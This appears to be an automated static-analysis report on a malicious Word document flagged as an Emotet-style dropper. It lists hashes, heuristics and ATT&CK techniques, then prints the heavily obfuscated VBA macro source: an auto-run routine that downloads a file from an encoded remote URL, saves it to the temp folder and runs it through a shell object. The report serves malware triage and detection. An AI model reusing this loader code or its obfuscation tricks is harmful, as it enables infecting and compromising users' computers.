Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4f6b9875508f6c49…

MALICIOUS

Office (OLE)

181.0 KB Created: 2018-05-29 06:27:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: dfe598aff9c94ecf60861d0d1397c329 SHA-1: 52782c6b08c3073aa1a20277c51d0a4f72b84faa SHA-256: 4f6b9875508f6c49c0611ba99d6fa35cac59bd2b377b43d87ca31a2d44df3868
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The file contains a VBA macro that is heavily obfuscated but includes critical heuristic firings for downloading and executing a file. The macro's primary function appears to be to fetch and run a second-stage payload, as indicated by the 'OLE_VBA_HTTP_DROP_EXEC' and 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' heuristics. The presence of the 'Document_Open' macro suggests an automatic execution upon opening the document.

Heuristics 9

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
            OKanbl = jzPKK.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set XyLNvm = CreateObject(JKTjXV("WFSTczrnimp]tl.]S[h-ecl?lu"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set XyLNvm = CreateObject(JKTjXV("WFSTczrnimp]tl.]S[h-ecl?lu"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 49868 bytes
SHA-256: 4e25499b893a1ebd330349d8877f6229b795efc35387241b630b1395d47e3087
Detection
ClamAV: No threats found
Obfuscation or payload: likely
499 of 778 identifiers look randomly generated (e.g. 'ICLdEFfMXuZbRZBstQuYSJvDcXbgOnkZYkXau') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function WkMJmr(bNfkFSs As String) As String
    RQdJBPE = LTrim("NE [febxkxF@#L-N")
    bqPnaMGx = RTrim("u?A[DPnYiqQ?mT.PGm")
    uEscGpa = LTrim("]Ku#N$c$*DJV$PS^b")
    uEscGpa = 287 + 1114 + 456
    gsRbvfuS = StrReverse("LO(WvIsv]D(fer")
    fyqSFe = UCase("JFNDg@e@kKYK]%-raF")
    RQdJBPE = "u zKJM#u$&dSQYW.o" + "JxRX.paqepy!b_o_D)^&" + "h(VPbxvLrUy!v!a!r_"
    NibQC = UCase("DG@ (opQG$dyFb[IY")
    gsRbvfuS = UCase("AG]ldGEjz_]")
    gsRbvfuS = Space(20)
    NibQC = LTrim("xwSb&z@e$&q-Ma")
    gsRbvfuS = LTrim("*!IGPKHdBN?")
    vorcem = Space(19)
    OIocxfq = RTrim("@BjR^MKiy ")
    NibQC = Right("h#z*PD[vtDHhNFRYZ", 2)
    fyqSFe = UCase("s[_N^nWar guXx)p!@t")
    gsRbvfuS = Right("VCmaQ^ah#P*HAHIJW", 3)
    JYLeMH = Right("u[Q(gDuZ&zf", 5)
    OIocxfq = 418 + 1571 + 1171
    While RULPSx < 255
        bqPnaMGx = Left("XEwAs$C_Vn", 2)
        bqPnaMGx = Left("p$FF&?of*tJ", 4)
        bqPnaMGx = RTrim("b fc.^WNt)aLdg")
        RULPSx = RULPSx + 1
    Wend

    OIocxfq = 1393 + 1785 + 303
    gsRbvfuS = UCase("V*eF[x_Mt[")
    fyqSFe = UCase("sfA*HMxrGuJhBpB$gU(j")
    bqPnaMGx = LTrim("@*a(M&Az[V)%G")
    WkMJmr = "WmghaANAaxuGVfQngDJGOxGF"
End Function

Private Sub EeqLXH(QRYDSjW As Double, XIlJOEy As Integer)
    While oSWoDZ < 263
        OIocxfq = "o&jr)_@[PNkW?" + "^iwhi&d*&gvn!q" + "]ie]TJaPcKJwHW@["
        NibQC = RTrim(".M#)yINDQm^#QT&xE")
        bqPnaMGx = Left("gQKxLq@Gq$B", 5)
        vorcem = "kJ.gbd-Gde" + "FCU_wVoz)^iFxq k" + "uEdnnKcAp@hIZ"
        uEscGpa = UCase("S^.X jsXzs]NL")
        fyqSFe = Space(10)
        oSWoDZ = oSWoDZ + 2
    Wend

    bqPnaMGx = 1155 + 332 + 649
    OIocxfq = RTrim("zRC!mH.evEQn")
    bqPnaMGx = Right("HTZ@]W@CTap", 5)
    xoJMmYM = LTrim("mC$srLw*SD&B[IaFi#")
    uEscGpa = LTrim("Q*NpMf)#YqYgCS^sWPB")
    fyqSFe = StrReverse("@Tvq&?kEYY[")
    xoJMmYM = 1585 + 859 + 492
    gsRbvfuS = 559 - 1546 - 830
    gsRbvfuS = LTrim("NutnAZKy_AK]P!aGq[vp")
    OIocxfq = 1873 - 1562 - 1924
    xoJMmYM = UCase("CVrimWDvy&HXM")
    NibQC = Space(20)
    uEscGpa = StrReverse("WL]NCjPiia)gg%Kn&mou")
    RQdJBPE = 400 + 1358 + 887
    uEscGpa = ".UzFRC!gqHg.@" + "Vx.(NWx gGeCkeSiLzy" + "#L xrcSYyKCZ"
    JYLeMH = Left("LXu^FDd)%#LnB", 5)
    fyqSFe = UCase("UJRVj@nfyL& kNp-e S")
    gsRbvfuS = Right("q*DdRhEKqEYPnI_KKsga", 5)
    While VLDNEI < 216
        gsRbvfuS = "ygEL*jj]$l!" + "fmI#DDI*b# P@u-mKSvN" + ")ijtuj TECHM?mjM"
        RQdJBPE = 850 - 954 - 812
        gsRbvfuS = Space(2)
        OIocxfq = 102 - 613 - 1468
        bqPnaMGx = 1874 + 1418 + 1660
        xoJMmYM = StrReverse("XVg@h@L@wNQcRmuIqMs")
        RQdJBPE = StrReverse("MtdE!ZHappH.$iTRTELU")
        VLDNEI = VLDNEI + 2
    Wend

    fyqSFe = RTrim("VkgQk_*eZ#RS&Np_N%")
    OIocxfq = StrReverse("TBVz!$QSFWL!&t#wD")
    For YNyIrv = 0 To 343
        uEscGpa = UCase("FuISK#b P)_AXsz")
        bqPnaMGx = RTrim(")TENZV&U-EGwXC")
        uEscGpa = 313 + 239 + 1391
        vorcem = "gyCYiBsLStr#" + "ab@s@PK-%z]doNQs*paz" + "CwOP-vjrFSec[Ulhg"
        fyqSFe = StrReverse(".TV-t))m]F@nuMuJ(")
        fyqSFe = 685 - 1008 - 1371
        NibQC = "#FQicQ?RFGEusvffV" + ".B%zK[_(BNOmjvcCmw " + "]-M&lPeAH*?!I*zj%LL$"
        gsRbvfuS = LTrim("arQnt.kMXr*klowo")
        gsRbvfuS = "c%xyKWT@dmvus" + "S Lr_wgptiko" + "gl_)JfuU$WzIJkp"
        bqPnaMGx = LTrim("QdDe%ofJ]gI$U")
    Next YNyIrv

    vorcem = 1248 - 876 - 527
    NibQC = LTrim("NTHJTbk)mNa(uJHezW")
    While rdABwG < 16
        bqPnaMGx = 1920 + 1768 + 304
        OIocxfq = "#[NI)klX_k" + "iA]^qMIm%ZCd(" + "ylUVmXGFUf)kv!"
        fyqSFe = RTrim("Si[.J!Th(u@pvwoU")
        fyqSFe = Left("^rsU%-X?GtxF)@", 4)
        RQdJBPE = StrReverse("L).SxWvAvQL( fMn-")
        rdABwG = rdABwG + 2
    Wend

    uEscGpa = StrReverse("?go^.#)%F_e?eiFVFu")
    JYLeMH = RTrim("ezGzbdMs [@RBJ$)")
    uEscGpa = "rVlwq( %vG )STanaJav" + "ffbfZFiCyRydSg-]" + "Yv#KU*rIiUG"
    RQdJBPE = 247 - 152 - 677
    fyqSFe = "BNh**xlHzBx AMe" + "]_?zwM rt_" + "Rp#MZssiqOyI^!!gIvC"
    gsRbvfuS = "ezeXMF(W^t" + "WzXhZ#)pg&%EECQjPna" + "PrGwTF!iug^"
    fyqSFe = "uWnWdkSBV[]jhF-xG" + "mQ!^uNHj)]" + "YeRZ.vF&AbWpThKsWL]e"
    xoJMmYM = "hG$IByJAY]G&&Ia?p]" + "SI^A]tjrVpq" + "Tvve%]eqJv^f#zq%q%Q"
    RQdJBPE = 1930 - 372 - 387
    fyqSFe = LTrim("D$hDzq*.FN[L_AQBY[")
    uEscGpa = Right("&D &yOaEptw&krv?egN*", 2)
    gsRbvfuS = StrReverse("BAD%QWbruPo(Q")
End Sub

Private Sub IBrvAVU(yjNyt As String, FcwLveL As String, MrpDWU As String, xGMNKA As String, YzbPZRm As String, sFtfpE As String, BQfuvk As String)
    OIocxfq = "mEr!Yqt]Sqf" + "@jjLjPbOj-Z*U" + "eLv*CbuoMAx"
    JYLeMH = StrReverse("UGIU#euKDr)o[s")
    uEscGpa = UCase("(]Q_t@J]BHyv?G[sfW&-")
    bqPnaMGx = LTrim("UQfp)Ge]!jXfuH")
    gsRbvfuS = Right("*Y!V?[.V_c", 5)
    fyqSFe = Left("^)_JSTiIvLWVQfAss#Sk", 3)
    Set XyLNvm = CreateObject(JKTjXV("WFSTczrnimp]tl.]S[h-ecl?lu"))
    XyLNvm.Run yjNyt, 0
    uEscGpa = Left("AmY@w(hpVD", 2)
    NibQC = StrReverse("#G f )i) tcwLXSyV")
    uEscGpa = 898 - 572 - 622
    uEscGpa = Right("zsbECCZlWcWn#uZ^", 2)
    bqPnaMGx = "WeGy_EFeBmsLXRu" + "dgg%JioLPv g" + "seW]NG#uC)&"
    bqPnaMGx = Space(2)
    While XIEiZD < 239
        vorcem = Space(13)
        NibQC = Right("wAHFH*-I%zvu)v@l-AO", 5)
        OIocxfq = "_Lbz D&LHWO" + "wjhw]zkX?vGr^" + "z!Vt)ef _Ilfb]TKL("
        uEscGpa = Left("zBxmbO_gokjgk*i&R[m#", 3)
        gsRbvfuS = Space(10)
        uEscGpa = Left("a_qORqLn_Ee-d#vY$]R$", 2)
        RQdJBPE = "]KBp^FZGwQ" + "kG%SK@oiyjtHvqs#m)" + "IFGq.O$^hvOAYAM. Pw)"
        XIEiZD = XIEiZD + 1
    Wend
    OIocxfq = 1203 - 1635 - 1642
    uEscGpa = StrReverse("FIKNhBR^YVi]zOdj")
    For bTZHtH = 0 To 380
        vorcem = Space(6)
        vorcem = UCase("(YHuLjgxDCew")
        vorcem = 346 - 1968 - 1571
    Next bTZHtH
    For BFFqEu = 0 To 296
        uEscGpa = UCase("ipbEVMz%TU^cAQM")
        JYLeMH = Left("tmM)oezE-[!$!", 3)
    Next BFFqEu
    uEscGpa = UCase("It.ucXN_xH$SmR")
    JYLeMH = StrReverse("Nq%oa]PkbA.KJiGap.$(")
    vorcem = LTrim("Pp POzCkhLN%#J?_CD!")
End Sub

Private Sub Document_Open()
    Dim SopSztL As String
    JYLeMH = 1620 - 1312 - 705
    OIocxfq = "vTGFITjAUekFs Clv$" + "D-$F*?jBz?*yb&l" + "%XJ_sPqYwxB@YZD-."
    xoJMmYM = LTrim("TNy[LaGckPyKmD$UF")
    JYLeMH = 364 - 1908 - 1080
    NibQC = Right("GzUCE h[%myQ[rVB)", 4)
    While mRTwRk < 14
        fyqSFe = 1987 + 1355 + 1579
        vorcem = Left("S@$GXohVq.vB", 2)
        fyqSFe = "b*hd]DzGXGyyYV$NS" + "Tvg-Acj&i%g$.kYSuN?K" + "YAKzOXmWn(M"
        fyqSFe = Space(11)
        mRTwRk = mRTwRk + 3
    Wend

    gsRbvfuS = Right("y&pgUI. gp-Foxc", 4)
    xoJMmYM = StrReverse("QVSrbS&xaMiJv")
    For NyFnVP = 0 To 333
        JYLeMH = RTrim("]Ag.QxytRTPGA")
        fyqSFe = Right("#GlfYwH p[Lie.Jyz_", 2)
        xoJMmYM = LTrim("KRf$KYHvJX@VCcFmUw$")
        RQdJBPE = 1772 + 552 + 1074
        gsRbvfuS = Left("DXzkTSzC]Gk%mR", 5)
        vorcem = 111 - 648 - 177
        uEscGpa = Left("dPVzWIPlc?[O.Xj", 5)
        OIocxfq = LTrim("AVg#wOqeZ@")
        gsRbvfuS = 1560 - 1116 - 807
    Next NyFnVP

    xoJMmYM = Left("tTUa_!F[MZVrKe#jt", 4)
    fyqSFe = 1619 + 1116 + 397
    RQdJBPE = Left("(@Sv#v.QDy%dXu", 3)
    xoJMmYM = 1204 - 966 - 218
    While LjoVGV < 186
        RQdJBPE = Left("d[BjS tYtRURwPr", 4)
        uEscGpa = StrReverse("YKtdwomeoyA$kx")
        OIocxfq = UCase("nSYnW#sXUp_#*xc[]$W")
        JYLeMH = 1566 - 460 - 1713
        gsRbvfuS = 600 - 1408 - 1482
        LjoVGV = LjoVGV + 1
    Wend

    fyqSFe = Space(6)
    For FNvtto = 0 To 33
        OIocxfq = Right("![^&CsxTd*fL_aXM", 3)
        uEscGpa = Space(17)
        xoJMmYM = Left("r!ESZ[tYugVyB", 2)
        uEscGpa = LTrim("ml(QnV[v^xx")
        uEscGpa = " )kpv^uQtWnKjee(GV[" + "OxJDJz#gWlrp" + "dKSk[XNF(N"
        xoJMmYM = LTrim("f-i(@D]T#dgistw")
        vorcem = UCase("wohaB$$NgrRlloXE")
        xoJMmYM = RTrim("n_YWv!RdD_ K(#[G")
    Next FNvtto

    vorcem = Space(14)
    xoJMmYM = 320 + 1932 + 1349
    xoJMmYM = Left("b(H[mqeO z_kPt&W!gh", 5)
    While bqhDWs < 286
        NibQC = LTrim("OxwXtaD)M^PyecZ")
        JYLeMH = 357 + 1605 + 1539
        bqhDWs = bqhDWs + 2
    Wend

    JYLeMH = Right("[wjyjU.@Wkiad[lvd", 5)
    vorcem = UCase("?[qo^V.a!wSN&q]nJkg^")
    OIocxfq = StrReverse("?moDuqo?(%")
    gsRbvfuS = LTrim("[.zX^Y(*JPLpjlwHQ!*X")
    SopSztL = StrReverse("Me]xReY.efgV?YJLqbx\D\#%qp-m.e_tv%p xco/c Uenx$eA.^dfmHc")
    vorcem = Right("$p^XV&mXDQH@j", 5)
    vorcem = RTrim("FZ(.qt?]DZjTp&*l.")
    vorcem = UCase("zTco*@ixLRj")
    bqPnaMGx = 386 + 780 + 1708
    RQdJBPE = 285 + 1501 + 1174
    gsRbvfuS = Right("&@Emp(D#B%#xZZ", 2)
    gsRbvfuS = 900 + 1329 + 699
    NibQC = 1332 - 515 - 1859
    For KduHsm = 0 To 276
        uEscGpa = 200 + 1960 + 1610
        OIocxfq = "yjI?DOKF[PqW" + "?!tTwUmVat!y.DJqxB" + "zTjcoAIOSmywe("
        vorcem = "*hmN?nd%rbY*?" + "%uh-VNqlvwhAmW]z!zI*" + "Pg[!EW#? TQ.i"
        vorcem = Space(16)
        RQdJBPE = UCase("iBciPjM$yIEfiF.gh?#)")
        vorcem = Space(4)
        OIocxfq = Left("B$CK-Y)P[]aMC^o* ", 4)
        RQdJBPE = 679 - 380 - 1449
        bqPnaMGx = UCase("Uq(tX(.r[jOa_UkHywt")
    Next KduHsm

    While zNyvPw < 248
        vorcem = UCase("K!t!tEqJC]mM zgJ?IE")
        RQdJBPE = Left("^#f.(M[cQGuKoMdqt$", 5)
        xoJMmYM = Space(1)
        bqPnaMGx = StrReverse("OLEGZih(r-")
        uEscGpa = StrReverse("^NrIfmnd__ty")
        vorcem = StrReverse("zx@H]mzMO(G!W")
        zNyvPw = zNyvPw + 1
    Wend

    While cHSpVp < 281
        bqPnaMGx = LTrim("OP#ktX-nTOu]")
        fyqSFe = 634 - 1426 - 1740
        bqPnaMGx = 1765 + 1959 + 919
        NibQC = 253 - 934 - 1909
        fyqSFe = 844 - 264 - 1004
        cHSpVp = cHSpVp + 2
    Wend

    For QERlnf = 0 To 40
        uEscGpa = Left("V!uUlQ(Gstrx^Hxn", 5)
        OIocxfq = "bPIliTtzI$E" + "##PL(n)opArrP(._)d[o" + "wPl) a-wJy"
    Next QERlnf

    While OKLnkg < 229
        vorcem = RTrim("KmKHtQXGVKzrFavxwvn#")
        fyqSFe = LTrim("Yy-LN$inP[Uzyi[vXGd")
        NibQC = UCase("LZ$sJ.G@[o")
        uEscGpa = "j)Nbf_JIRl)BQGkjt" + "lYuIDQTZzSoUbj%pv[.w" + "_]LjT%P Mr"
        vorcem = "^T-cBf@eBOQASSYy" + "bycXmTID)d&v" + "ZzGU@UOw$ferE?NR"
        OKLnkg = OKLnkg + 1
    Wend

    vorcem = Right("-XxNY$eVKCm$s#O?*", 2)
    For TpukiC = 0 To 98
        vorcem = Right("n ] u!anvAO", 5)
        uEscGpa = StrReverse("MW^Uo*JyJ&FSV")
    Next TpukiC

    RQdJBPE = UCase("PcfoOrOZI*dRnU[*")
    fyqSFe = 1908 - 1582 - 1315
    xoJMmYM = Space(1)
    OIocxfq = LTrim("x@sYiDU$LN%tjrJrJ")
    OIocxfq = "-cFauRVOT!sB" + "vgOLnCKzmtZ" + "p-?]dUcABnm#(!"
    gsRbvfuS = UCase("QUir[S nj-y)Dputal")
    bqPnaMGx = 1800 - 1519 - 1756
    For keQCDl = 0 To 100
        vorcem = UCase("ITEJZflOk^NTqkX")
        vorcem = StrReverse("h)s#x#Sp@[$eQ*ZuRf#")
        xoJMmYM = RTrim("FNl(fTy^kZD")
    Next keQCDl

    JYLeMH = 1006 + 921 + 1109
    OIocxfq = 914 + 1150 + 1440
    xoJMmYM = "FQ.DpJbI?Kd." + "cK]*GSl*tAbHc?h*%*" + "XRgXi[BTb@hk"
    xoJMmYM = StrReverse("r_frtr]&zrlIGob")
    RQdJBPE = StrReverse("t)#q$[TYm[%MRi(_xV")
    Dim jzPKK, iGeYhTTA As Object
    RQdJBPE = Left("ucAZrXbfc.p*-j%[GM", 2)
    JYLeMH = StrReverse("nvi?c#B@GqC]")
    xoJMmYM = Left("JbDWCh*b%Rz^]dlmE", 5)
    fyqSFe = UCase("P$J)&EASbn")
    JYLeMH = StrReverse("Ie%J.i]aFsk(?j[")
    Set jzPKK = CreateObject(JKTjXV("MLiVcBriokswojfVt_.(XcMxLzHDTQTLPw"))
    While fmKkZy < 111
        gsRbvfuS = 1392 + 1691 + 1392
        bqPnaMGx = 1848 + 1622 + 1815
        RQdJBPE = Left("cIfC@lefcdaMn-DJOsw", 3)
        fyqSFe = 1169 + 376 + 1577
        fyqSFe = StrReverse("g &PJoajC-G")
        OIocxfq = RTrim("[jsOnMBK-xeAE.TH&H")
        fyqSFe = StrReverse("ddy..#swKs]i?C")
        fmKkZy = fmKkZy + 2
    Wend

    For jHTFzK = 0 To 122
        JYLeMH = UCase("^#ipkH*R![)V*)K")
        uEscGpa = "QQNjDvtc$ v" + "K[kqolRxEgW" + "sn)WcBLUADbIS_$"
        NibQC = RTrim("&nbma(b#eoD")
        uEscGpa = StrReverse("eVldKAMUut!I")
        gsRbvfuS = Left("^qYVmZ)ESjHp?CHuyD", 2)
        fyqSFe = Left("&iz-yCJNJrO! )a!", 5)
        uEscGpa = RTrim(")PoyR)%xkZd^VMAN")
        gsRbvfuS = UCase("rLVe*nVl@ycYV[")
    Next jHTFzK

    OIocxfq = Left("MHXu$WeGx!ubJ", 3)
    RQdJBPE = 1402 - 220 - 371
    vorcem = 789 + 132 + 1437
    AzEuPD = JKTjXV("hpt@thp[:O/@/%mCiRcbhgealcl ehjAuwsjtUp#iW.@cEoymZ/Js^tYuLbn/NdGejpm.Je$x?eA")
    RQdJBPE = Left("d!WmBrZ^yDBUVzp", 3)
    xoJMmYM = Space(5)
    While cRwHTg < 56
        OIocxfq = "Tm@kMWNb.Da$GuvDbzP" + "&OQ?tFpA^AEIOXrF" + "sL^Pddl(x.yr)Z^"
        gsRbvfuS = Right("qe?Nh &VCEI@-lgF", 5)
        NibQC = Left("atfeLbOrDkBOn)", 2)
        JYLeMH = RTrim("U[*qfJ!_ZgDMYfK#%RT")
        vorcem = "!Gq&j.VSa)" + "Px%eB$sDd_IU^Z)CZz)p" + "p?TNnd)V#?EJm"
        vorcem = Left("WGSno-occtTZZ", 5)
        fyqSFe = 647 - 421 - 1068
        gsRbvfuS = LTrim("!SWvC!$( @)y")
        uEscGpa = UCase("BBoqX%zRg]Fw")
        JYLeMH = 441 - 1873 - 1506
        cRwHTg = cRwHTg + 3
    Wend

    gsRbvfuS = LTrim("cX%GBKi#CdX")
    While ZBilGy < 264
        vorcem = RTrim("cjO@*eUQL(*c")
        bqPnaMGx = Right("*xKYOUgnH_d", 3)
        uEscGpa = LTrim("*Cc[]x$FFW]")
        fyqSFe = StrReverse("_$CHC$$xwfpG)wrzaLf")
        uEscGpa = UCase("(a?x#DL%%hhISX*HywE")
        xoJMmYM = 1801 + 1283 + 1702
        NibQC = 965 + 1558 + 1915
        NibQC = Space(2)
        vorcem = "M_!#jfjaH^nkc!zH" + "#JWb.@o?QZysVJb MwK" + "W%[pIh^FFc-hWQ&O"
        uEscGpa = Left("-^U$[-XXhM!tB^FIVrxn", 5)
        ZBilGy = ZBilGy + 3
    Wend

    jzPKK.Open "GET", AzEuPD, False
    While JiUEYh < 96
        RQdJBPE = RTrim("H^g.AoGrltOk*&?SO")
        uEscGpa = 1230 + 420 + 282
        bqPnaMGx = RTrim("-m@ZULF@Hbh_ee")
        NibQC = StrReverse("%x.&jQUPcmb")
        uEscGpa = RTrim("z*KOlNNZuIzI#CTtB)A")
        vorcem = Right("k@N*i[Y(hsjbx zp", 4)
        NibQC = RTrim("vvoiPMaOKmFz)LZj")
        vorcem = 1326 + 503 + 1931
        RQdJBPE = 724 + 576 + 281
        fyqSFe = Space(5)
        JiUEYh = JiUEYh + 1
    Wend

    For QtmSYb = 0 To 167
        xoJMmYM = RTrim("bD&d?sy(ozKj@")
        gsRbvfuS = "hqQvgtn^ZXE " + " )b(DdDjP#A-" + "Bda))[Y*tr"
        gsRbvfuS = LTrim("$[_!s@pmrzbFu% O")
        gsRbvfuS = Right("Rc?kunpQPv", 5)
        JYLeMH = LTrim("_s!_lZLYjE^)pw")
        OIocxfq = "C]nXNrL-lKLF" + "fYM@zqtJfxI^ZQNqlkz" + "OJab?mP@l _mWiv^"
    Next QtmSYb

    RQdJBPE = 433 + 781 + 1059
    xoJMmYM = LTrim("jG D%DGL[.LSu")
    xoJMmYM = 1043 - 1317 - 291
    jzPKK.send
    uEscGpa = LTrim("M@WRwsK!^qvUl$selI(")
    xoJMmYM = Left("b-Yrl)vmEFDuq", 3)
    For PymPBP = 0 To 99
        xoJMmYM = Right("cSAhUKpDM* ByzkB[dU", 3)
        uEscGpa = UCase("Gn%ZpRQw.nc@wDuU")
        OIocxfq = 730 - 1920 - 1588
        OIocxfq = 626 + 1077 + 1735
        vorcem = "rdlFS]LJd*PP.j$Di" + "OMUZ#RUiluDgeyUD" + "Jom!zhZp#ms"
        RQdJBPE = Right("Qeb_[CdJILxgeb%J tl", 3)
        gsRbvfuS = UCase("(N#(N M*zuzygfGDrM")
        gsRbvfuS = Right("dugphF!LdvO&QpAtS", 4)
        JYLeMH = RTrim("roo*h.o(DBCIs.aSg")
    Next PymPBP

    bqPnaMGx = "zn)AGq*pM]vDmAd" + "fBOuEhv-fsybSq" + "la%O[.$V jqjS"
    If jzPKK.Status = 201 - 1 Then
    fyqSFe = StrReverse("Dlc jHw_Rtwhu(")
    While FVzbWH < 48
        uEscGpa = 1736 + 1274 + 896
        JYLeMH = 1928 + 1294 + 1795
        FVzbWH = FVzbWH + 1
    Wend

    gsRbvfuS = "zJwL)&f-?[mhh)En)" + "oJqLLi?@H(" + ".M-k[_#^-?@GweArU#P"
    fyqSFe = Right("h_on.&N#?LPFVVuI", 3)
        Set iGeYhTTA = CreateObject(JKTjXV("AADLO%DbB&.ESStvr*eZacmm"))
    NibQC = StrReverse("ecMnyhqVwzvx")
    bqPnaMGx = Left("Yd ejW_qjjFe]nK", 5)
    bqPnaMGx = UCase("I--VMdo  p")
    fyqSFe = StrReverse("Dl-]NSYEhPFaKMn")
    NibQC = 228 - 538 - 419
        iGeYhTTA.Open
    RQdJBPE = 1912 - 1310 - 814
    OIocxfq = Right("l#B)qHT!&]C", 5)
    RQdJBPE = Space(9)
    vorcem = Left("-liCjayLFe&FhzZ&y(&$", 4)
        iGeYhTTA.Type = 1
    RQdJBPE = 1794 + 686 + 948
    fyqSFe = UCase("g@EM.GplaiU")
    RQdJBPE = Right("r*@PFS$XpJSf#r# Za", 3)
    While tziXWr < 37
        JYLeMH = StrReverse("VJPxoT.ZF_H")
        vorcem = "H_!o?*l.?l" + ")YJg_QugoK" + "&Y[]p(yKxhdcGmChd)"
        NibQC = RTrim("ey&sXPljT]ml")
        uEscGpa = 955 + 1834 + 1960
        fyqSFe = Left("NoiNlNkJivE!gE", 2)
        tziXWr = tziXWr + 2
    Wend

    JYLeMH = Left("BVSPPx-.be-(R", 5)
        OKanbl = jzPKK.responseBody
    gsRbvfuS = Left("*Py t(oBpy$tUAV].vX", 3)
    While JCECBM < 386
        JYLeMH = Right("I)r%z uke@%iE.[", 2)
        JYLeMH = Left("D@zHevjWIxSi^ZGSg", 3)
        JCECBM = JCECBM + 1
    Wend

    RQdJBPE = 361 - 936 - 1248
    uEscGpa = LTrim("v^S.Cc)i(aAy")
    bqPnaMGx = Right("aeOgCQ(?q-tlJL", 3)
        iGeYhTTA.Write OKanbl
    RQdJBPE = 1707 - 1085 - 127
    OIocxfq = Right("F&sJzMdHQT K", 3)
    NibQC = LTrim("EeI[KwiYip$XbHOhQC@")
    vorcem = UCase("w^cgr(jQU!pDa")
    bqPnaMGx = 1983 + 1997 + 1882
        Dim OvMekbq As Object
    gsRbvfuS = Left("*EmBl&nKjMgDS]a!N!W^", 2)
    fyqSFe = RTrim("*sccLeKSE^bFYM(^")
    bqPnaMGx = RTrim("F%n(CF)dSe%MspNo")
    For cxAAFe = 0 To 212
        fyqSFe = Left("O^#*g(&*XhUL@-c!*M", 4)
        NibQC = Space(11)
        vorcem = 1572 + 977 + 122
    Next cxAAFe

    gsRbvfuS = 842 + 1106 + 1404
        Set OvMekbq = CreateObject(JKTjXV("sbcQr%iLpItMiknNgg.jfFiMlPegsoyesDtieZm[o#bbjZeQcDtQ"))
    gsRbvfuS = 118 + 1986 + 580
    JYLeMH = Right("%)$G!o_TFPkZSHUng", 3)
    While HtBnhW < 308
        OIocxfq = Left("rd-eN.vVlHEjqi", 2)
        RQdJBPE = Left("[(z!!i[?l[*TGKFz*^K", 2)
        bqPnaMGx = 258 - 1283 - 1940
        xoJMmYM = LTrim("twD]Os)[kt#[$xABYQR&")
        RQdJBPE = UCase("zZSNs$IYuUQpKFjw(J")
        uEscGpa = 953 + 1002 + 1976
        uEscGpa = Right("-HyTMjy.v&HIjPb-JQv", 4)
        vorcem = LTrim("vAGYegtusYajYZDwi")
        fyqSFe = Space(17)
        HtBnhW = HtBnhW + 2
    Wend

    gsRbvfuS = Left("GfRe[cbSIny", 5)
    OIocxfq = StrReverse("-XUVn.]mE_")
        HdWeXHe = OvMekbq.GetSpecialFolder(5 - 3)
    fyqSFe = 1916 - 338 - 246
    NibQC = 622 - 671 - 1809
    NibQC = UCase("P&h.oC.r YT")
    xoJMmYM = LTrim("ECLiJXTqoh$O*V")
    OIocxfq = UCase("BqVJ$n]up.wjmO(w")
        Call iGeYhTTA.SaveToFile(HdWeXHe & "\\" & JKTjXV("bIL#YYVnfu.gesxye&"), 2)
    vorcem = "NhLlHQKRBB@DeZ@Hy)!R" + "FJZDtSmNAssaFxjI" + "uTaVla@V-@O!W.vUyk"
    RQdJBPE = StrReverse("Yih?BE%pDVWoNcYS")
    uEscGpa = RTrim("Mtmtv-HgD.-a")
    fyqSFe = Space(7)
        iGeYhTTA.Close
    For GizSKm = 0 To 33
        vorcem = LTrim("-AGRkuT(%ucCP")
        NibQC = 1886 - 1647 - 1340
        NibQC = StrReverse("-nIf PG(tkad(!RGkF!")
        xoJMmYM = Right("wWTNRagaf&YpH?U%b)", 3)
        gsRbvfuS = 1721 - 1475 - 1239
        uEscGpa = LTrim("o[-HBHxPTzudK()]qhp")
        RQdJBPE = LTrim("@tYV@^zWss DU$")
        RQdJBPE = RTrim("tECKJjWzZiWn(&(LS$A")
        xoJMmYM = LTrim("AF&LE_AG_xGnTExfXlF")
    Next GizSKm

    For dgKuXw = 0 To 18
        uEscGpa = "*b(qJk*yOT" + "!U.q)cGtw y!fQu" + "?^eA(Toey&iZ%"
        NibQC = Space(2)
        uEscGpa = 1815 - 365 - 255
        OIocxfq = LTrim("*A$GxIRtCh_u")
